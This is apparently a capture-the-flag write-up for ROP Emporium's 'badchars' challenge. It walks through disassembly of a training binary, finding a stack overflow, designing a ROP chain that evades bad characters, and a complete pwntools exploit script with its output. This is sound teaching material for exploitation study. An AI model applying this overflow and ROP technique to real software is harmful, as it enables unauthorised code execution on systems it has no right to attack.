Contents

ROP - Badchars

Description

CTF took from https://ropemporium.com/challenge/badchars.html.

The aim of this challenge is similar to the previous one (write4): store a string into memory and call print_file to show the content of flag.txt. The difference is that badchars are applied to every character passed as input, so the string might be handled in some way to change its content after storing it in memory.

More information are shown in the linked website.

Analyze the binary

Download the challenge:

1
2
$ curl --output badchars.zip https://ropemporium.com/binary/badchars.zip
$ unzip badchars.zip && rm badchars.zip

List imports:

1
2
3
4
5
6
7
8
$ rabin2 -i badchars 
[Imports]
nth vaddr      bind   type   lib name
―――――――――――――――――――――――――――――――――――――
1   0x00400500 GLOBAL FUNC       pwnme
2   0x00000000 GLOBAL FUNC       __libc_start_main
3   0x00000000 WEAK   NOTYPE     __gmon_start__
4   0x00400510 GLOBAL FUNC       print_file

First, let’s see the functions written by the programmer:

1
2
3
4
5
6
7
8
9
$ rabin2 -qs badchars| grep -ve imp -e ' 0 '
0x00601038 1 completed.7698
0x00400617 17 usefulFunction
0x004006b0 2 __libc_csu_fini
0x004006c0 4 _IO_stdin_used
0x00400640 101 __libc_csu_init
0x00400550 2 _dl_relocate_static_pie
0x00400520 43 _start
0x00400607 16 main

Enter to pwndbg (gdb-pwndbg badchars) and disassemble pwnme and usefulFunction since we’re interested in them. pwnme is an imported function so once the gdb is started, insert a breakpoint in the main function and run.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pwndbg> b main
Breakpoint 1 at 0x40060b
pwndbg> r
Starting program: /home/luca/Desktop/w-disaster/rop-emporium/badchars/badchars 

Breakpoint 1, 0x000000000040060b in main ()
...

pwndbg> disass pwnme
Dump of assembler code for function pwnme:
   0x00007ffff7dc58fa <+0>:     push   rbp
   0x00007ffff7dc58fb <+1>:     mov    rbp,rsp
   0x00007ffff7dc58fe <+4>:     sub    rsp,0x40
   ...
   0x00007ffff7dc593b <+65>:    lea    rax,[rbp-0x40]
   0x00007ffff7dc593f <+69>:    add    rax,0x20
   0x00007ffff7dc5943 <+73>:    mov    edx,0x20
   0x00007ffff7dc5948 <+78>:    mov    esi,0x0
   0x00007ffff7dc594d <+83>:    mov    rdi,rax
   0x00007ffff7dc5950 <+86>:    call   0x7ffff7dc57b0 <memset@plt>
   ...
   0x00007ffff7dc5972 <+120>:   lea    rax,[rbp-0x40]
   0x00007ffff7dc5976 <+124>:   add    rax,0x20
   0x00007ffff7dc597a <+128>:   mov    edx,0x200
   0x00007ffff7dc597f <+133>:   mov    rsi,rax
   0x00007ffff7dc5982 <+136>:   mov    edi,0x0
   0x00007ffff7dc5987 <+141>:   call   0x7ffff7dc57c0 <read@plt>
   ...
   0x00007ffff7dc5a04 <+266>:   nop
   0x00007ffff7dc5a05 <+267>:   leave  
   0x00007ffff7dc5a06 <+268>:   ret    
End of assembler dump.

Note that:

  • There’s a lea rax,[rbp-0x40]; add rax,0x20 instruction before the memset and read operation, so the address where the input string will be placed is from [rbp-0x20].
  • No bound checking is done for the input string, so we can override the rsp register to modify as we want the flow of execution of this program.
  • The leave instruction does mov rsp, rbp; pop rbp and the ret a add rsp, 0x8.

Given this assumptions, the payload must contain a padding of length 0x20 + 0x8 bytes and after that the sequence of the desired gadgets.

Now, let’s disassble usefulFunction:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
pwndbg> disass usefulFunction
Dump of assembler code for function usefulFunction:
   0x0000000000400617 <+0>:     push   rbp
   0x0000000000400618 <+1>:     mov    rbp,rsp
   0x000000000040061b <+4>:     mov    edi,0x4006c4
   0x0000000000400620 <+9>:     call   0x400510 <print_file@plt>
   0x0000000000400625 <+14>:    nop
   0x0000000000400626 <+15>:    pop    rbp
   0x0000000000400627 <+16>:    ret    
End of assembler dump.

usefulFunction inform us that print_file reads the string in the address pointed by edi register. Furthermore, we’ll need the call instruction address in the ROP chain to finally invoke that function.

At this point where it’s known the payload’s padding and the register that we must set before calling print_file, it’s necessary to understand how to place the string into memory.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
$ readelf --sections badchars 
There are 29 section headers, starting at offset 0x1980:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
   ...
  [23] .data             PROGBITS         0000000000601028  00001028
       0000000000000010  0000000000000000  WA       0     0     8
  ...
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  l (large), p (processor specific)

.data section is writable so let’s take its address (0x0000000000601028).

Deal with badchars

Run the executable to inspect the badchars:

1
2
3
4
5
6
$ ./badchars 
badchars by ROP Emporium
x86_64

badchars are: 'x', 'g', 'a', '.'
> 

The usefulGadgets's which ROP Emporium gives us will come in handy, so disassemble it.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
pwndbg> disass usefulGadgets
Dump of assembler code for function usefulGadgets:
   0x0000000000400628 <+0>:     xor    BYTE PTR [r15],r14b
   0x000000000040062b <+3>:     ret    
   0x000000000040062c <+4>:     add    BYTE PTR [r15],r14b
   0x000000000040062f <+7>:     ret    
   0x0000000000400630 <+8>:     sub    BYTE PTR [r15],r14b
   0x0000000000400633 <+11>:    ret    
   0x0000000000400634 <+12>:    mov    QWORD PTR [r13+0x0],r12
   0x0000000000400638 <+16>:    ret    
   0x0000000000400639 <+17>:    nop    DWORD PTR [rax+0x0]
End of assembler dump.

Badchars are applied not only to parameters but addresses too. For the latter make use of pwntools which filters out gadgets that contains badchars, passing them as parameters in the ROP object.

For the former I build a mapping and an unmapping function.

  • The mapping function maps a badchar to an available char and is applied when a string is inserted into the ROP chain.
  • In the other hand, the unmap function exploits gadgets to change the string once is in memory, restoring its original content. To do that, disasseble the usefulGadgets function and use this gadget: sub BYTE PTR [r15],r14b; ret. The unmapping is done by substracting the decimal ASCII value of the mapped char with the original one.

Now we have all the elements to build a ROP chain. Here’s how the stack should be structured before the ret instruction in the pwnme function:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|     "A" * offset      |
| &pop_r12_r13_r14_r15  |
|      "flbh/tyt"       |
|       str_addr        |
|    "JUNKJUNK" * 2     |
|       0x400634        |
|                       |
|     &pop_r14_r15      |
|         0x1           |
|    str_addr + 0x2     |
|       0x400630        |
|    rop.pop_r14_r15    |
|         0x1           |
|    str_addr + 0x3     |
|       0x400630        |
|    rop.pop_r14_r15    |
|         0x1           |
|    str_addr + 0x4     |
|       0x400630        |
|    rop.pop_r14_r15    |
|         0x1           |
|   str_addr + 0x6      |
|      0x400630         |
|                       |
|       &pop_rdi        |
|       str_addr        |   
|      &print_file      |
|         ...           |
-------------------------
         STACK

The first part contains the padding ("A" * 40) and stores the mapped string into memory (in the .data section described before), loading the values in the available registers and finally calling a gadgets shown in usefulGadgets (mov QWORD PTR [r13+0x0],r12).

The middle part changes the string (flag.txt) char by char (the mapping is shown in the exploit).

At the end the address of the string is put into rdi and the print_file function is called.

Exploit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *

"""
    This function takes as input a string stored in str_addr
    and eventually changes its content by unmapping the mapped badchars,
    if it contains them.
    The unmapping is done by substracting the decimal ASCII value of the
    mapped char with the original one using this specific gadget:
    sub BYTE PTR [r15],r14b; ret.
"""
def unmap(rop: ROP, badchars, badchars_mapping, string, str_addr):
    offsets = [string.index(c) for c in string if c in badchars] 
    for offset in offsets:
        # pop r14, pop r15
        rop.raw(rop.r14_r15)       
        idx = badchars.index(string[offset])
        diff = ord(badchars_mapping[idx]) - ord(badchars[idx]) 
        rop.raw(p64(diff))
        rop.raw(p64(str_addr + offset))
        # sub BYTE PTR [r15],r14b; ret 
        rop.raw(p64(0x400630))

""" 
    This function takes as input the filename of the executable and returns
    a ROP chain.
"""
def build_rop_chain(binary_name):   
    """ 
    - Define a mapping for each char in badchars. 
    - Once the string is the memory, exploit gadgets to change it
        to the original one.
    - Since in this specific executable each badchar's successor (with the
        respect of the ASCII table) isn't a badchar, we define this mapping:
        x --> y, g --> h, a --> b, . --> /
    """
    badchars = ['x', 'g', 'a', '.'] 
    badchars_mapping = [chr(ord(c) + 1) for c in badchars]

    # ELF and ROP objects
    elf = ELF(binary_name) 
    rop = ROP(elf, badchars=[hex(ord(b)) for b in badchars])

    # .data section available address to store the desired string
    str_addr = 0x60102f
    # offset 
    offset = 40
    filename = "flag.txt"
   
    # Payload
    rop.raw(b"A" * offset)
    
    # pop r12; pop r13; pop r14; pop r15; ret
    rop.raw(rop.r12_r13_r14_r15)
    rop.raw(bytes("".join([f if f not in badchars 
        else badchars_mapping[badchars.index(f)] for f in filename]), 'ascii'))
    rop.raw(p64(str_addr))
    rop.raw(b"JUNKJUNK" * 2)

    # mov string into address
    rop.raw(p64(0x400634))

    # unmap
    unmap(rop, badchars, badchars_mapping, filename, str_addr)
    
    # Store on rdi register the address of the string
    rop.raw(rop.rdi)
    rop.raw(p64(str_addr))
    rop.raw(elf.symbols.print_file)
    return rop.chain()


if __name__ == '__main__':
    filename = "./badchars"
    context.arch = "amd64"

    # ROP chain
    rop_chain = build_rop_chain(filename)
    
    # Run process
    p = process(filename)
    p.recvuntil(b"\n> ")
    p.sendline(rop_chain)  
    print(p.recvall())
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
$ python3 exploit.py 
[*] '/home/luca/Desktop/w-disaster/rop-emporium/badchars/badchars'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'.'
[*] Loaded 13 cached gadgets for './badchars'
[+] Starting local process './badchars': pid 13699
[+] Receiving all data: Done (44B)
[*] Process './badchars' stopped with exit code -11 (SIGSEGV) (pid 13699)
b'Thank you!\nROPE{a_placeholder_32byte_flag!}\n'